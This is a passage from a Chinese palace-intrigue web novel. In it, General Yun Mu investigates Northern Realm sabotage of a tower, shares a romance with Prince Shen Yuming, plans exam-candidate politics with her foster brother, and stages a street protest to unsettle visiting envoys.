云暮:“臣今日命金吾卫及监工按楼层排查,如今并未发现异常。” 梁文帝吼道:“去查!” …… 距离梁文帝所说的完工时间越来越近,摘星阁今日却停了工,昨夜还从里面抓了几十来号人,今儿又见金吾卫将摘星阁围住,里外都有人四下敲击,路过的百姓无一不驻足询问。 云暮叫来徐文:“可有异常?” 徐文摇头:“属下带人一厘一厘地查,什么都没发现。” 云暮的手在栏杆上轻点,“图纸才被我拿到,他们就要灭口,定有缘由。从王监工入手,查出他手底下的人何时被人调换,应该就能找到他们在何处动的手脚。” 工部和吏部她都得走一趟,也不知道吏部是干什么吃的,举荐人的时候,双眼是背糊住了吗,北域人那双明显的眼眸都辨不出。 “云将军大驾,本官有失远迎。” 云暮皮笑肉不笑:“董尚书身上担着一整个工部,事务繁多,怎敢扰了你的事。 本将军今日来,是想见见采买木料的那几个人。” 第一百四十一章 木料来源 “大人,查到了。”徐文将十几张画像摆在桌上。 “半个月前,王监工手底下的人陆续得了病,使不上劲,只能推了此事,这几个是王监工邻村的人,走他的关系才得了这个差事。 再后来,他们就和王监工一样,死于寒虫之毒。那些活下来的,都是北域之人。” 云暮的指尖在画像上划过:“和诏狱里的那些人脸对过了没有?” 徐文点头:“对过了,这几人都有,也都让那些工人认过了,当时王监工听说他们过得艰苦,一时心软,就破例让他们去搭建摘星阁。” 本以为是雪中送炭,谁想竟是惹火上身。他们在王监工手底下做事,被发现后便要灭口,而何昌在查案时也察觉了不对,北域人把此事往符文上引,于是乎,何昌还未来得及将此事告知便撒手人寰。 好在何昌的夫人将图纸藏了起来,这件事才终于得见天日。 “将军,何昌的夫人来了。” 徐文收起画像,退了出去。 何夫人行了一礼:“见过将军。” 云暮虚虚将她扶起,“嫂夫人怎么来了?” 何夫人擦了擦眼角,“这几日承蒙将军照顾,妾不胜感激,先前将军说能允妾一诺,不知可还算数?” 云暮颔首:“自然。” 何夫人:“相公不在,京城待着也是徒增悲伤,妾欲回江陵老家,山高路远,怕遇到山匪,不知大人能否派两个人送我们母子到江陵?” 云暮没有着急应下,反倒是问:“老家都有谁在?” 大梁虽不讲究出嫁从夫,但有些地方却还是秉承嫁出去的女儿泼出去的水的原则,更有甚者会视丧夫之人为不祥,何夫人贸然回去,不知会有什么下场。 何夫人答道:“家中双亲尚在,大兄和几个姐妹也都嫁了人,如今只剩一个小弟尚未娶妻。 前几日差人送了信回去,爹娘不放心我们孤儿寡母在京城,也劝妾回江陵。” 云暮看了她递来的信,才肯点头:“既如此,那便派几人送你们归家,打算何时动身?” 何夫人:“再过几日吧,等我将相公的东西都收拾好,把宅子卖了就动身。” 云暮:“也可,动身前一天派人来告知一声即可。” 送何夫人走后,云暮拐了个弯,去了工部。 先前她去过,但工部尚书曾说人去外地采买木料,要过几日才能回京,算算时日,正好是今天。 这次负责采买的是一个侍郎,名叫杨正平,一回来就得了同僚提点,一直忐忑地等着云暮的到来,煎熬程度不下于等候砍头。 人才到工部大门,杨正平就得了信,他正了正衣冠,又询问一旁的下人:“没歪吧?” 下人摇头,话没有说出口,杨正平一阵风似的疾步走了出去。 “下官见过云将军。” 云暮似笑非笑道:“杨大人的消息还真灵通啊。” 杨正平讪笑:“才回来就听说大人找下官,能给大人分忧是下官的荣幸。” 云暮没接这话,问他:“摘星阁的那批木料是从何处采买来的?” 杨正平把人往里引,答道:“这些木料原打算从西南的山里运来,但去了之后才发现,山中并无路,便从西域运了过来。” 西域和北域毗邻,北域人从中做手脚也不是没可能。 她又问:“万寿宫的呢?” 杨正平答道:“万寿宫的木料是从扬州走水路送到京城的。将军问这个,可是木料出了问题?” 云暮斜他一眼,起身:“无事,本将军觉得那些木料不错,也想买些来建一个亭子罢了。” 虽然杨正平没有露出破绽,但并不等于他完全无辜,除了杨正平,她还有几个怀疑的对象,派了好几个人去监视。 回到云府时,云暮见到了不速之客沈聿明,此刻他正陪着十五在院中练剑。 “下盘要稳,一刺不中就……” 冯章几人太忙,十五已经有一段时间没去过布政坊,云暮回来也晚,他很懂事地没有缠着教他。 她和沈聿明不和的传言传出之后,十五问过几次,甚至还偷偷跑去秦王府闹着要见沈聿明。 也不知沈聿明同他说了什么,十五就没再说过要见对方的话。云暮打听了好几次,都没能套出他的话。 云暮拿着两张帕子倚在门边看着两人,沈聿明教了十五好一会儿,随手折下一根树枝与他对练。 沈聿明边挡着十五的攻击便指出他的错,颇有名师风范。 最后还是沈聿明先发现了她,他收了树枝,任由十五手中的木剑戳到腹部,他捂着肚子痛哭倒下,对着云暮的方向沈出了手,“云……云暮,我是不是要命不久矣了?” 十五瞬间慌乱,他扒开沈聿明的手,想要看看方才此中的地方,但沈聿明说什么都不肯松手。 “大人,王爷他不会真的要死了吧?” 见他急得快要掉眼泪了,云暮走过来,没好气地轻踢了沈聿明一脚:“起来,别吓着十五。” 又转头对十五说道:“木剑削果皮都费劲,他皮糙肉厚,又隔着衣服,王爷骗你的。” 十五可怜巴巴地望着沈聿明:“王爷,大人说的是真的吗?” 沈聿明心虚地摸了摸鼻子,“本王今天没用午膳,有些腿软,没站住,与十五无关。” 十五怜爱地看着沈聿明:“王爷不在云府,连早饭都没有,太可怜了,十五今早特意留了两个蛤蟆馒头,这就去拿给你!” 他一蹦一跳跑开,整个院子就只剩下云暮二人。 热风吹过,耳畔响起经久不息的蝉鸣。即便是傍晚,但还是抵挡不住热浪。 云暮把剩下的那张帕子递给沈聿明:“擦擦汗,今儿怎么得空过来了?” 沈聿明胡乱擦了一通,跟在云暮后面进了书房,“那件事擦得如何了?” 云暮道:“工部有几个有嫌疑,已经派人去跟着了,只是还没发现他们和北域的人有联系。” 书房里摆了两个冰盆,甫一走近,沁人的凉意扑面而来,沈聿明喟叹了一声。 “那伙人都抓完了,剩下的那些也成不了气候,想来也不会有结果,不如等北域二皇子进京后再看看。” 第一百四十二章 想你了 砚石手里拿着托盘,追在十五后面,喊他慢些。 十五应了一声,但脚下的动作更快了,他拿着蛤蟆馒头进了书房,正好一人一个。 每到夏日,云暮胃口全无,食欲下降,连饭带菜都吃不下一碗,人都清减了不少,她摆手拒绝了十五:“王爷快要饿晕了,把我这个也给他吧。” 沈聿明陪着十五练了好一会儿的剑,此刻也有些饿了,他接过馒头,咬了一口,应是怕馊了,云府的下人把馒头放在冰盆里,馒头冰凉中又有些干硬,他吃也不是,不吃也不是,偏偏十五还一副求夸奖的表情看着他。 沈聿明艰难咽下,违心地夸了一句:“好吃。” 好在此时砚石端了几碗冰酪浆来,他猛灌了一口,把方才咽下的馒头压了下去。 十五在这里,两人也没再谈公事,眼看着快到午膳时间,云暮和沈聿明有一搭没一搭地聊着天。 十五一拍脑门,对云暮说道:“大人,孟先生写了封信,让我交给你,我这就去拿来。” 说罢,他又一阵风似的跑走了。 沈聿明被酪浆呛了一口,捂着嘴咳得撕心裂肺。 云暮:…… 她伸直手在沈聿明的背后轻拍,“急什么,又没人跟你抢。” 等他平息,眼眶已经红了一圈,噙着水意。 云暮好笑道:“若是顶着这幅样子出门,不知道还以为我欺负了你呢。” 沈聿明面朝云暮,抬眼委屈看她:“他没事给你写什么信?不怀好意,往后都让安叔去接送十五。” 云暮无语,提醒他:“这几日都是安叔他们接送。” 十五又一阵风地跑了进来,将信递给云暮。 见云暮要拆开,沈聿明捂着脑袋哀哀叫唤,还要:“本王吃了冰酪浆,突然头疼,云暮,你给我号号脉。” 云暮头也不抬,“吃了冰酪浆应该是肚子疼,而不是头疼。” 阻拦无果,沈聿明郁闷地把门外的砚石喊了进来,“再给本王来一碗冰酪浆。” 又探头看向云暮手里的信:“写了什么,我也要看。” 云暮把信递给他:“没什么,邀我去一趟” 沈聿明心里不大愿意云暮去见孟煦,:“有什么不能在信上说,非得让你去一趟,本王陪你去。” 云暮摇头:“兄长说了,让我一个人去,不过……”她拖长音调,却迟迟不把后面的话说出。 沈聿明急道:“不过什么?” 云暮没再逗他:“不过你若是不放心,可以在隔壁包一间房。” 沈聿明哼了一声:“几十个人没能伤你分毫,本王有什么不放心的。” 口是心非。 “走吧,去用晚膳。” 因沈聿明来,厨房又添了几道菜,云暮看着那几道肉菜,顿时没了胃口,只用了几口凉菜便放了筷,连饭都没吃上一口。 沈聿明也搁下碗,担忧看她:“怎么就吃这么点?” 云暮恹恹道:“才刚喝了一碗酪浆,吃不下。” 一旁的十五往嘴里塞了一口肉,闻言,说道:“王爷,天太热了,大人天天都这样,有时回来晚了,她就只喝一碗粥。” 沈聿明蹙起眉:“你日日在外奔波,只吃这些怎么行,不如让厨房给你熬些粥?” 云暮不想拂他的意,“也行。” 一个时辰后,砚石端着一小锅温热的鸡丝粥来了书房,云暮和沈聿明面对面坐着处理公务。 “大人,王爷,粥好了。” 厨房的人应是撇了鸡油,白白的米花上不过浮着零星油花,鸡肉被人撕成细细的条状,最上层还撒了几粒葱花,还配了几碟酱菜。 云暮揉了揉酸涩的眼睛,土鸡的鲜香味飘出,她才觉得有些饿了。 沈聿明见她有些意犹未尽,又给她盛了一碗,但云暮只用了半碗就搁在了一旁,静静看着沈聿明。 “不吃了?” 云暮摇头:“吃不下了。” 沈聿明没再坚持,两三口把碗中的粥喝了,让砚石把碗收走,心里盘算着给她做些清爽的小菜。 才歇了一会儿,两人又埋头继续看公文。 直到万籁俱寂,云暮才搁下笔,伸了一个懒腰,僵硬的肩膀嘎吱响了几下。 晚风习习,院中暗香浮动,两人躺在院中的躺椅上,望着天上月,身上还带着刚沐浴后的水汽。 云府的下人都已经睡下,沈聿明大着胆子握住云暮的手,侧过身子看着她:“明天你真要去见孟煦?” 云暮偏头看他:“徐文查到了一些线索,得先把摘星阁的事处理了再去。” 沈聿明一言不发,将云暮的手扣得更紧了。 云暮挠了挠他的手心:“不开心了?我把他当兄长,他也拿我当小妹,真不是你想的那样。” 沈聿明小声嘟囔:“我看未必,你就是个木头,连宋枫的心思都看不出来,还傻傻以为他拿你当小妹。” 云暮听不太清,头靠向沈聿明的方向:“你说什么?” 沈聿明不动声色地朝她那边移,“没什么,我们如今还是仇敌,你就这样留我在府中过夜,不怕有闲言碎语?” 云暮察觉到他的不安,想了想,和他挤在了一张躺椅上,仰头亲了亲他的下巴:“你怕了?” 沈聿明眼神暗了暗,捏着她的下巴,贴了上去。 云暮气喘吁吁地趴在他身上,温热的鼻息拂过他的脖颈,一阵酥麻蔓延全身。 沈聿明侧身,双腿交叠,把云暮放在空出来的半张躺椅上。 云暮的指腹轻碰下唇,“又肿了,下次不许咬了。” 沈聿明的拇指擦着她的下唇,“好几日没见到你,想你了,一时没控制住,你呢?” 云暮指着面前的梅树道:“除夕那晚,我们在那舞剑。” 又指着那些摆放整齐有致的盆栽:“你在那里给花修枝浇水,我就坐在这里看你忙活。” 又指向一面墙:“从这里过去的第五道墙,那时我闭门谢客,你总是翻着围墙进来找我,我当时烦得不行。” …… 云暮把他在云府做过的事娓娓道来,每个角落都留下过他的痕迹。 “每天看着它们,我总是幻视你在府中。 沈聿明,我也想你。” 第一百四十三章 偷听墙角被发现 “有些日子没见,你怎么清瘦了这么多?摘星阁的事这么棘手?”孟旭打眼一看,眉拧成结。 云暮端起茶碗灌了一口水,她从摘星阁直接赶来,不知北域是否还安插了人手,在摘星阁待了大半日,水一口没都敢碰。一碗冷茶入肚,浇熄了干得冒火的喉头。 进门之前她往两边的雅间各看了一眼,门窗紧闭,也不曾听闻有动静,不知沈聿明在不在。 “凶手都被抓住了,今日过后,便能接着动工了。” 孟煦执起茶壶,给云暮又倒了杯茶,“贵妃身死后,兄长本想邀你一叙,但你又被卷入摘星阁的事,就一直拖到今日。你喝不得酒,今日兄长以茶代酒,祝你大仇得报。” “多谢兄长。” 两杯相碰,发出清脆的声音。 “你这些年蛰伏在宫中,就是为了查清伯父伯母身死的真相,如今事情已了,你有何打算?” 云暮面上难得有茫然:“阿兄,我亦不知,贵妃虽是害死我爹娘的元凶,但背后没有皇上压着,这件事怎会被掩埋了这么多年。” 这话实在大逆不道,孟煦起身打开门左右张望,发现砚石守在门外后,再次将门合上,他压低声音:“小暮,你是想……” “是。” 恨意和厌恶在眸中交织,云暮轻声道:“我恨不得亲自……” 孟煦提醒道:“小暮,隔墙有耳。” 云暮闭眼压下眼中翻涌的情绪,“是我说错话了,兄长只当没听过。” 孟煦道:“万寿节后,就是秋闱,你有何打算?” 云暮在心里思量着孟煦话中的意思,他是想出手相助还是试探。 孟煦见她沉默,继续道:“你若想成事,朝中不能无人,光靠金吾卫和沈聿明如今的势力是做不到的。太子手下能臣不少,又背靠崔家,你们如何斗得过他?” 云暮装傻:“阿兄说笑了,我与秦王如今是仇敌,怎会和他联手?” 孟煦似笑非笑瞧她:“是嘛,阿兄前些时日见你身旁总是跟着一个人,从背后一看,与秦王有几分相似。” 云暮瞪着大眼望着他,认真道:“兄长年纪大了,眼花了。” 奇哉怪哉,多年不见,不过遥遥一眼,孟煦就认出了她,沈聿明易了容,身形也稍作改动,别说太子没认出,便是亲爹梁文帝也不曾发觉,孟煦这双眼是怎么长的? 而且,他怎么就料定她和沈聿明还交好? 未到而立的孟煦:…… 他真的很老吗? 她不愿承认,孟煦也没有逼她,“你就当兄长眼花了吧。” “太子如今虽与你交好,但你奉命灭了两个世家,崔家人容你不得。 三皇子已经被贬为庶人,夺位无望,你与秦王交恶,只能从剩下的皇子中挑出一个,但也需要做好万全之备。” 云暮问道:“阿兄可是有了想法,快与我说说?” 孟煦卖了个关子,“先用膳吧,吃完再说。” 他重新打开门,叫来了小二。 小二端着菜推门而入,鲜蘑菜心、糟鹅、鸡汁羹…… 等房内的小二都退出去后,孟煦将那碟酱黄瓜摆在云暮面前,“一入夏你就没胃口,三天两头不吃饭,这儿的酱菜还不错,你试试。” 蓑衣黄瓜在白瓷盘里盘了好几圈,被将染成深色,上头撒了一圈的切碎的辣椒,光看着便口中生津。 外表看着软塌塌,但吃到嘴里却出乎意料的爽脆,酸辣在口中爆开,云暮称赞道:“确实不错。” 食欲被酱黄瓜打开,鲜蘑搭配时令蔬菜,别有一番风味,糟鹅软烂脱骨……云暮竟吃了大半碗饭。 桌上的饭菜撤走后,小二又端来了两碗酸梅汤消食。 才入口,云暮的脸被酸得皱成了一团,她艰难咽下,灌了杯茶冲淡口中的酸意,点评道:“这汤只占了前面那个字,酸。” 孟煦喝了一口,面容有些扭曲,也和云暮一样灌了一杯酒:“兄长这碗应改名甜汤,我叫他重上。” 云暮制止了他,“罢了,继续方才之事吧。” 这话刚落,隔壁的雅间传来哐当一声,云暮和孟煦对了一眼,看见了他眼中的打趣。 “不如把人叫过来一起听听?” 云暮下意识拒绝,下一瞬,门被敲响了,小二的声音也随之传来:“客官,里头是云将军在,你莫要触霉头。” 沈聿明将刻着金吾卫三字的令牌放在他面前:“本……我乃金吾卫,有要事同云将军回禀,再不放 我进去,出事了你来担。” 孟煦打开门,和沈聿明四目相对,他把目光放在小二身上:“无事,我们认得,你去沏壶茶来。” 小二忙不迭应下,头也不回地跑了,生怕惹祸上身。 孟煦做了一个请的动作:“请吧。” 话说完,双唇还在动,沈聿明看出他无声说了一句“王爷”。 身份被人认出,他本不想再装,将手放在耳后,撕下了人皮面具,“孟先生好眼力。” 门很快又被敲响,孟煦只开了半扇门,接过小二手中的托盘后,他再次合上了门。 闻言,孟煦笑道:“王爷夸赞了,识人在骨而不在皮,皮囊可变万相,但人的骨架却是定好的,人见多了,自然就认得出来了。” 云暮打断了他们的虚假奉承,“阿兄,你方才想说什么?” 人已到齐,孟煦没有再卖关子,问道:“万寿节后便是秋闱,你们有何打算?” 科考按理应是三年办一次,但去岁和今岁抄了不少官员的家。前段时日,梁文帝曾在朝会上宣布,提前一年科考,此事把大梁几万学子打得猝不及防。 云暮反问:“阿兄是想让我们……” 孟煦摇头:“秋闱之后还有春闱,你们能帮他们一次,难道还能再帮一次? 科考舞弊一事被人捅出,你们都要完,就算能瞒天过海,这样的蠹虫进了官场也不能给你们助力,反而会坏了你们的名声。” 他的意思已经很明白了,明年上榜之人必须得有他们的人,而且是凭能力高中。 第一百四十四章 天下始乱 云暮打趣道:“兄长还未而立,正是参加科考的好年纪,状元之位非你莫属。” 孟煦用她的话噎了回去:“兄长年纪大了,眼花看不清字,手抖写不成文章。” 云暮无言以对,心道,还真记仇。 一旁的沈聿明开口了:“孟先生推荐的是哪几人?” 孟煦摊开一张写满名字的纸:“这些都是我所教的学子,他们大多无显赫家世,有的连温饱都是问题。我让他们在明德学堂日日苦读,为的就是让他们高中,入朝为官。” 名字密密麻麻,有百人之多,云暮诧异,“这么多人,阿兄最看好那几个?” 孟煦点了点为首的五个:“这几个原最得为兄青眼。但第一个在听到科考提前的消息后,愁得没睡过好觉,先生在上头讲课,他却昏昏欲睡,这几日写得文章着实没眼看……” 把这几人批得一文不值后,孟煦的手停在了一个毫不起眼的角落,“他倒是出乎我的意料。” 云暮顺着他的手看去,“章汝正。” …… 沈聿明熟练地进了云府的大门,熟练地除掉脸上和身上的伪装。 云府只有两个主子,下人们钱多事少,就是夜间巡逻苦了些,且一家老小的身家性命都被云暮捏在手里。 外面有关云暮和沈聿明不和的传闻不少,每次出去采买东西时,总有人暗搓搓打听此事,但他们半点消息都没有透出去。 他们也从一开始在云府见到沈聿明时的惊讶到如今的见怪不怪。 云暮提笔写下几个名字,又在其中一个名字下划了条线后才递给砚石:“把这几个的老底都给我扒出来,尤其是这个人。” 方才两人都是公事公办的态度,沈聿明对孟煦放下了一点戒心,闻言,他伸脖看了一眼,没想到竟在上面看到孟煦的名字:“你不信他?” 云暮靠在椅背上,指尖在扶手上轻点:“并非完全不信,让他们去查一查我更放心。” 这么多年未见,即便他是十五的先生,云暮还是不敢把她的计划全盘托出。 在她说想杀了梁文帝时,云暮敏锐地察觉到他话中的杀气,不是对她,而是对梁文帝,他隐藏得很好,心安瞒不过她。 孟煦不过是一个孤儿,不可能与梁文帝有交集,怎么会想杀他?云暮百思不得其解。 又少了一个劲敌,沈聿明喜得眉梢都带了笑意。 云暮看着那个傻笑的人,勾过一支笔砸向他的脑袋:“回神了,国子监几千学子,你可有看好的人?” 沈聿明接住那只笔,笔杆上嵌这红玉玛瑙,入手生凉,最适合秋夏。 “有几个文章做得不错,但秋闱时间定后,他们日夜埋头苦读,已经有段时日没有见过面了,还有几个是涿州人,参加明年的春闱不是问题。” 一个个的都有看重之人,唯有她孤家寡人一个,梁文帝为了掌控她,只需她做孤臣。宦官弄政,更为不禁心下绝望,不知现在让徐文再捡起圣贤书还来不来得及。 她原想着这今年找几个有才学且贫苦之人,她可把人塞进国子监里,但不是没找到好的人选就是看好的人嫌她阉人的身份。 她哀哀叹了一声,趴在桌上,闷闷道:“天要亡我。” 沈聿明走到桌前,手中的笔杆点了点她的额:“胡言乱语什么,欺天之事你做了这么多都没被人抓到把柄,天哪敢亡你。 等老头子不行了,写传位诏书时,你在他身边,拿剑横在他脖子上,看他识不识趣。” 云暮想着那个画面,噗嗤笑了出声,“他于我有仇,但他可是你父皇,这番话有违人伦,你就不怕吗?” 沈聿明笔尖一压,往上一收,字迹飘逸但但锋芒不减,闻言,轻嗤了一声,“不忠不义之辈,他也配为人君父?他再这么折腾下去,大梁可就要乱了。” 大梁子民以佛为尊,但为了追求重回年轻和长生,梁文帝广招术士,宫内建万寿殿供他修炼,宫外无数佛寺被拆,改成了道观。 国库里就是有数座金山都不敢这么挥霍,眼看国库日渐空虚,梁文帝又听信谗言,开始增加百姓税收。 今年江南三城被山洪淹了,万亩良田被毁,云暮和沈聿明曾上书奏请免了三城的赋税,奏折也批了红,谁想梁文帝又临时变卦。这么短的时日,如何让百姓种出粮食? 民怨被激起,他却视而不见,安心窝在宫中潜心修炼,将烂摊子丢给太子和沈聿明他们。 云暮不知该如何接话:“我的话,如今怕是也没有用了,他满脑 子都是得到长生,重回而立之年。” 光提到梁文帝,沈聿明都直犯恶心,“不说这个了,你下午要去何处,我陪你?” 云暮微微抬起下颌,摇了摇头:“不用,我去工部,今儿早上在摘星阁发现了几处猫腻,让工部的人去看看有没有什么解决之法。” 杨正平正做着账,又听见下人来通传,说是云暮又来了。他挂上假笑迎了上去:“云将军,可是木料出问题了?” 云暮套他话:“杨侍郎也得了消息?” 杨正平的脸上的表情有些开裂,“将……将军,冤枉啊,下官报得价已经是最低的了,绝对没有从中贪墨啊!” 云暮浅笑:“杨侍郎在说些什么,本将军的意思是,你采买的木料都是极好的,本将军也不是专程来找你的,只是路过此处罢了。” 杨正平瞳孔一缩,才惊觉说错了话,他打起了哈哈:“下官误会了,不知云将军是要去往何处,下官给您引路。” 云暮装作没见他的冷汗,轻点了一下那边神色紧张的小吏,道:“侍郎还是去处理公事吧,本将军上次来找过周尚书,还认得路,只是不知周尚书今日是否当值。” 杨正平见了那人,神色变了又变,没再坚持,而是招来了一个下人:“你把云将军好生送到尚书那儿去,别出了岔子。” 第一百四十五章 演戏 半个月转瞬即逝,各地的使者也陆续赶到了京城。 这些本与云暮毫无干系,但因摘星阁一事,梁文帝特意派了云暮去接人,想试探他们的反应。 北域二皇子司戎一行人进入大梁后,一直打听朝中之事,听到了不少关于云暮的事,还花重金购买了一张云暮的画像,只是他长得实在太过骇人。 听闻其他使臣都是由礼部尚书亲迎,是以司戎下马车时见到云暮时,还在心里嘀咕了一阵。 “大梁的六部分掌各事,不是说尚书门都是老头吗?这礼部尚书怎地这般年轻?” 云暮带着一对人马朝司戎走去,“云暮见过二皇子、各位使臣,一路舟车劳顿也累了,下官先送几位去驿站。” 此话一出,司戎身旁的几位使臣神色立变,这就是画像上那个面容扭曲,獠牙顶到额头的云暮?太监也能当六位尚书之一? 是大梁的国君疯了还是他们疯了? 使臣谨慎问道:“云大人可是兼任礼部尚书一职?” 云暮理所当然地说道:“自然不是,礼部的郑大人今日有要事在身,皇上怕怠慢了几位,就派下官来接引。” 使臣的眼神瞬间变成了不满,礼部尚书有要事,朝中其他有头有脸的官员也都有要事?梁文帝派一个太监来,分明是折辱他们北域! “郑大人有事……” 一直观察着云暮的司戎终于开口了,他截住使臣的话,“郑大人有要事在身,那就只能麻烦云大人了。” 羞辱人的接引,愤怒的使臣,还有心平气和的二皇子,有趣。 云暮做了一个请的动作:“二皇子请上马车。” 待车帘放下后,云暮才翻身上马,她的目光在围观的人群里扫了一圈。 马车没走多远,就有流言钻进司戎及几位使臣的耳朵。 “这几个就是北域人?他们怎么还敢来?” “来了可就走不掉了,那些人的家人不得把他们住的驿站掀了?” “你们看,有人来了,其他国家的人来时,郑大人也不过带了两三个人来迎,难怪云将军今日带了一队人马。” 马的嘶鸣声在车外响起,马车突然停住,车内的几人毫无防备,狠狠地撞到了车壁上。 “你们还我儿的命来!” “你们北域的人做出这种事,怎么还有脸来大梁?” …… 使臣刚要扯开车帘借题发挥,一只素白纤细的手将车帘拽了回去,清冷的声音也随之响起。 “二皇子,百姓的情绪比较激动,你们就待在车里,不要出来,这件事让下官来解决。” 司戎示意使臣松手,外头的人是奔着他们来的,是巧合还是有意为之?他们今日才到的京城,不可能招惹到他们。 “你们怎么看?” 几个使臣面面相觑,说不出个所以然,最后一致认为是梁文帝在背后搞鬼。 “二王子,今日无故闹这一出,我等定会在万寿节上给国君和您讨一个公道。” 司戎几不可闻地呵了一声,这四个使臣,要讨公道的是他王兄的人,名唤达勇,一个是他父王的人,叫子胥,剩下的两个表面中立,背地里是他的人,分别是赫矢和子伍。 他看向其余几个没说话的:“你们呢?” 子胥道:“臣以为不妥。” “为何?” “今年的万寿节不同以往,万朝来贺,若我们诘问大梁皇帝,让他在人前落了面子,对我们北域不利。” 达勇却不这样认为:“就是要在所有使臣面前把事捅出,他才不好对我们下手,这样方能保我北域安全。” 已经听他们吵了一路的司戎冷冷瞥了他们一眼,“我要的是解决之法,不是来听你们吵的。到驿站后,你们去把事情打听清楚。” 他将车帘撩开了一条缝,还没往外看,一颗不知从何处飞来的石头打到了车壁上,离窗不过一寸的距离。 “二王子,您没事吧?” “这些刁民!不是说他们怕云暮吗,怎么这么久都没有把人解决了。” 车壁不是传来被东西击打的声音,几人有些退缩。北域人的特征太过明显,他们坐在马车上,外面的人都恨不得将他们砸死,要真出去打探消息,还能活着回来吗? 达勇当即说道:“二王子,你也瞧见了,还要我们如何打听情况?” “外面的人这么多,你们还不知道该问谁吗?” 云暮等她安排的人把戏演完后,才作势要赶人,一阵兵荒马乱后,马车再次走动。 “二皇子久等了,下官办事不力,耽误了您的时间,将几位送到驿站后,下官会进宫和皇上讨罚。” 司戎温声道:“世事难料,此事与云大人你无关,无需如此。” …… 驿站里,云暮亲自看着金吾卫替他们把东西搬到各自的房间后,提出了告辞。 “下官还要回宫里和皇上复命,就先告辞了。” 达勇和子胥的嘴巴一个闭得比一个紧,司戎给了旁边的人一个眼神。 子伍站了出来,“云大人,我们才来京城,有一事不明,能否向你请教一二?” 云暮知道他想问什么,谦虚道:“哪有什么请不请教的,能给使臣解惑,是云某之幸,使臣尽管问就是。” 子伍:“京城之人为何如此仇视我们北域人?” 云暮故作惊讶地看了他一眼,又转向司戎:“你们当真不知?” 司戎也道:“云大人既知道内情,不妨直言。” 云暮指着那座高耸入云的楼阁,低声道:“那是摘星阁,前几日才完工封顶。” 见他顾左右而言他,达勇不悦打断:“说事就说事,提不相干的东西做什么?” 此人对她颇有敌意,这事她还没找他们算账呢,就跟她摆起了谱,云暮瞬间冷了脸,“使臣不想听,本将军就告辞了。” 司戎站出来打圆场,把一张不知面额的银票塞到云暮手中:“他第一次来大梁,不懂规矩,云大人勿怪。” 云暮这才缓了脸色:“本将军说事时不喜旁人打断,还望使臣记住了。” 使臣代表的是一国的颜面,达勇被挑衅,但碍于司戎的警告,不敢再言。 第一百四十六章 黄如海受刑 勤政殿里,云暮将一张未打开的银票举过头顶,“皇上,这是北域的二皇子所赠。” 梁文帝依旧坐在紫檀木椅上,“见到人了?” 黄如海接过银票,摊在梁文帝面前。 “见到了,臣还安排了一出戏给他们看。” “哦?他们可有说什么?” 云暮回忆他们当时的神情:“一位名叫达勇的使臣听后有些心虚,想来是知道些内情,但知道的不多,二皇子和其余的三个使臣似乎不知此事。” 梁文帝打眼看银票,扯了扯嘴角:“去岁连贡品都是东拼西凑,今年一个消息一百两,出手倒是阔绰,给了你,你就收下吧。” 云暮趁机道:“今岁不连本带利补上,边境的将士们可就能大展身手了。” 自修道以来,梁文帝私库里的少了一半,户部又拨了三百万两银子给工部修万寿宫,宫外的道观也要建,又拨出去四百万两,各地灾民要赈,军饷也要发。 而打仗伤财,若是和北域开战,宫里宫外都要停工,他何时才能住进万寿宫修道? 梁文帝以黎民才借口,道:“人人都盼天下安定,万寿节时敲打他们一番就是,犯不着和他们动粗。” 黄如海捧着一颗金色的丹药和一杯水走到梁文帝身边:“皇上,该用仙丹了。” 梁文帝不语,看向跪在地上的云暮,黄如海放下东西,把云暮扶起:“奴婢眼拙,还请云将军恕罪。” 云暮明白梁文帝的意思,净了手后,就如黄如海一般,捧着锦盒到梁文帝面前。 在梁文帝即将握住她的手时,云暮错开了一步,将东西放在了摆着经书的书案上。 “皇上,请用金丹。” 梁文帝只能将金丹塞入口中,就着水吞了下去,他捏着茶杯看云暮。 云暮往门口的方向退了几步,对黄如海说道:“皇上那需要人伺候,还不快去?” 黄如海只能顶着梁文帝欲杀人的目光上前。能被皇上看中,时多少人几辈子都修不来的福气,他着实不明白云暮为何要拒绝。 只需他服个软,陪上一晚,别说金吾卫大将军,京城所有城防都能归他管,荣华富贵一辈子都享不完。 若是他能把云暮送到龙床上…… 黄如海瞥了一眼云暮纤细的腰身,有些意动。 “皇上,臣还有要事,先行告退。” 云暮不待梁文帝同意,转身出了勤政殿,但她也没有走远,而是倚着廊下的红柱等人。 黄如海没过多久就拎着那张书案走了出来,见到云暮还在,他忙笑着迎上前:“云将军,您还在呢。” 云暮的嘴角在笑,眼神却是一片森冷,她出其不意地掐住黄如海的脖子,骨节分明的手掐人也格外赏心悦目。 门外侯着的几个太监惊呼出声:“云将军。” 云暮一记眼刀过去,他们吓得捂着了嘴,不敢再语。 手慢慢收紧,黄如海想拍开他的手,除去不敢,也存了想和皇上告状的心,脸很快就涨成了猪肝色,他断断续续问道:“云……将军,奴……奴婢做错了……什么事,还望……将……将军告知。” 云暮在宫里混了这么多年,那些心怀不轨的眼神就是闭着眼都能感受出来,她将黄如海推到墙壁上,带着剑鞘的剑抵在他的胸口。 “你是本将军一手提上来的,可别被富贵迷了眼,做出什么不该做的事,听懂了吗?” 黄如海心中那点小心思顿时散了,云暮懂医,下药是瞒不住他,论身手,更不是他的对手。 “奴婢身上这身皮是将军给的,奴婢不敢。” 云暮收回手,将剑重新挂回腰间:“你最好是真的不敢,记住了,本将军能许你荣华,也能要了你的命。廷杖二十,滚吧。” 黄如海一脸为难:“将军,不是奴婢不愿,奴婢等会儿还要伺候皇上修道呢。” 云暮勾起那张书案,用力一掷,登时四分五裂,动静太大,惊扰了梁文帝。 “发生了何事?” 云暮示意太监开门,一瘸一拐地站在门口,“皇上,黄公公办事不利,书案砸伤了臣,臣想像皇上讨一个赏。” 黄如海跪在地上就要说出实情,自认为梁文帝会站在他这边,云暮食指一勾,守殿的金吾卫无声上前捂住他的嘴。 梁文帝如何不知他是装的,但最后还是应了他:“黄如海以下犯上,你照规矩罚他就是,哪用讨什么赏。” 云暮冲黄如海挑了挑眉:“你不过知道皇上的几个无关紧要的秘密,就妄想着能越过我去?要不是本将军,你还在刷恭桶呢。 你的前任知道皇上的秘密更多,但他还是死在了本将军的手里,你看本将军受罚了吗?” 自他成了近侍后,再也无人敢提那段往事,黄如海感到万分羞辱,抖着身子,一个劲地磕头,“云将军饶命,云将军饶命,就是给奴婢十个胆子,奴婢也不敢对您不忠啊。” 云暮:“错了。” 黄如海愣愣看他,不明所以。 云暮接着道:“你是皇上的人,忠的自然是皇上,只要你安分守己,往后的好日子少不了,懂了吗?” 